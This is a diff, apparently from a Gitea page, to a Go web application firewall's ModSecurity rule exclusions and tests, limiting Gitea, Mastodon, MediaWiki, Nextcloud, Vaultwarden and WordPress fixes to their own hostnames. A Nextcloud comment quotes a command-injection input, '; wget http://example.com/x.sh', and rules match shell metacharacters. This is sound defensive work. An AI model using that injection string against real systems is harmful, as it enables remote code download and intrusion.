||||
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:files,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
|
||||
|
||||
# gitea's searches of code, of issues and pull requests, and of commits send the
|
||||
# text searched for in q, which skips these rules there:
|
||||
@@ -163,8 +208,8 @@ SecRule REQUEST_FILENAME \
|
||||
# 942140: information_schema.sql
|
||||
# 944110: java/lang/Runtime.java
|
||||
# 944130: java.lang.String.md
|
||||
# Each request skips the rules that refused it. The fourth change already has
|
||||
# path and redirect_to skip 930120, 932160 and 932260 on every path.
|
||||
# Each request skips the rules that refused it. Rule 900591 already has path and
|
||||
# redirect_to skip 930120, 932160 and 932260 on every path.
|
||||
|
||||
# A file's commit graph, in file.
|
||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
|
||||
@@ -289,3 +334,5 @@ SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:900640,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
|
||||
SecMarker END_GITEA
|
||||
@@ -1,4 +1,4 @@
|
||||
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
||||
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
||||
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||
# exclusion runs with the request, before the rules it switches off, so this
|
||||
@@ -17,6 +17,13 @@
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
|
||||
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
|
||||
# skipped. Inspect sets tx.app_mastodon when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_mastodon itself.
|
||||
SecRule &TX:app_mastodon "@eq 0" \
|
||||
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
||||
|
||||
# The API's searches and names, in the query:
|
||||
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||
# acct: /api/v1/accounts/lookup?acct=python3
|
||||
@@ -216,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||
|
||||
SecMarker END_MASTODON
|
||||
@@ -57,7 +57,21 @@ const (
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
|
||||
}
|
||||
|
||||
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {"mastodon"},
|
||||
})
|
||||
|
||||
// A search, which only Mastodon's fixes let through.
|
||||
search := get("/api/v2/search?q=python3")
|
||||
|
||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||
}
|
||||
|
||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
||||
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||
@@ -21,6 +21,13 @@
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
|
||||
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
|
||||
# is skipped. Inspect sets tx.app_mediawiki when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_mediawiki itself.
|
||||
SecRule &TX:app_mediawiki "@eq 0" \
|
||||
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
||||
|
||||
# The pages and their titles, the searches, and the special pages' fields
|
||||
# for a page, a user, a file or an address:
|
||||
# title: /index.php?title=Python3_notes&action=history
|
||||
@@ -198,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||
# once, since it would otherwise skip these rules for a second wpTitles
|
||||
# holding a command.
|
||||
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
||||
# reach phase 2.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
"id:900916,phase:2,pass,nolog,chain"
|
||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||
@@ -210,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||
|
||||
SecMarker END_MEDIAWIKI
|
||||
@@ -4,11 +4,16 @@ import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const mediawikiThreshold = 5
|
||||
|
||||
// mediawiki is MediaWiki's name in SWW_APPS.
|
||||
const mediawiki = "mediawiki"
|
||||
|
||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||
|
||||
@@ -45,7 +50,44 @@ const (
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
|
||||
}
|
||||
|
||||
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {mediawiki},
|
||||
})
|
||||
|
||||
// A search, which only MediaWiki's fixes let through.
|
||||
search := get("/index.php?title=Special:Search&search=python3")
|
||||
|
||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||
}
|
||||
|
||||
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
|
||||
})
|
||||
|
||||
// A watchlist that only the phase 2 rule 900916 lets through.
|
||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
||||
|
||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
||||
if got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
|
||||
}
|
||||
}
|
||||
|
||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
||||
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||
# a document's text. Each exclusion runs with the request, before the rules it
|
||||
@@ -29,6 +29,13 @@
|
||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||
# injection, path traversal and script injection are still refused there.
|
||||
|
||||
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
|
||||
# is skipped. Inspect sets tx.app_nextcloud when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_nextcloud itself.
|
||||
SecRule &TX:app_nextcloud "@eq 0" \
|
||||
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
||||
|
||||
# The sync client and the Files app use these WebDAV methods besides those
|
||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||
@@ -246,3 +253,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||
"id:900118,phase:1,pass,nolog,chain"
|
||||
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
||||
|
||||
SecMarker END_NEXTCLOUD
|
||||
@@ -47,10 +47,41 @@ const (
|
||||
// nextcloudOther is a JSON field no exclusion names.
|
||||
const nextcloudOther = `{"other":"python3"}`
|
||||
|
||||
// nextcloud is Nextcloud's name in SWW_APPS.
|
||||
const nextcloud = "nextcloud"
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
||||
}
|
||||
|
||||
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
||||
})
|
||||
|
||||
// A search, which only Nextcloud's fixes let through.
|
||||
search := get(nextcloudUsers + "?search=python3")
|
||||
|
||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||
}
|
||||
|
||||
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {nextcloud},
|
||||
})
|
||||
|
||||
// Listing a folder, as the sync client does.
|
||||
list := request{nextcloudPropFind, nextcloudFiles, nil}
|
||||
|
||||
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
|
||||
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||
@@ -17,6 +17,13 @@
|
||||
# 932250: ls -la
|
||||
# 932260: python3
|
||||
|
||||
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
|
||||
# is skipped. Inspect sets tx.app_vaultwarden when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_vaultwarden itself.
|
||||
SecRule &TX:app_vaultwarden "@eq 0" \
|
||||
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
||||
|
||||
# Names and password hints, in JSON bodies, skip the four rules:
|
||||
# name: signing up, editing the account's profile, and creating or renaming
|
||||
# an organization or a group, "python3 .htaccess team"
|
||||
@@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||
"id:900153,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920120;FILES"
|
||||
|
||||
SecMarker END_VAULTWARDEN
|
||||
@@ -7,6 +7,8 @@ import (
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
@@ -30,7 +32,22 @@ const vaultwardenEmail = `{"email":"VALUE"}`
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
||||
}
|
||||
|
||||
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
||||
})
|
||||
|
||||
// An address for the data breach report, which only Vaultwarden's fixes
|
||||
// let through.
|
||||
report := get(vaultwardenBreachReport + "python3%40example.com")
|
||||
|
||||
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
||||
}
|
||||
|
||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||
|
||||
@@ -1,10 +1,17 @@
|
||||
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
||||
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||
# of a body applies only when the query has no parameter of that name, so it
|
||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||
|
||||
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
|
||||
# skipped. Inspect sets tx.app_wordpress when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_wordpress itself.
|
||||
SecRule &TX:app_wordpress "@eq 0" \
|
||||
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
||||
|
||||
# WordPress takes a call to its REST API at any of four addresses:
|
||||
# /wp-json/wp/v2/posts/1
|
||||
# /index.php/wp-json/wp/v2/posts/1
|
||||
@@ -195,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
||||
# so skips 932340 there.
|
||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||
|
||||
SecMarker END_WORDPRESS
|
||||
Reference in new issue
Block a user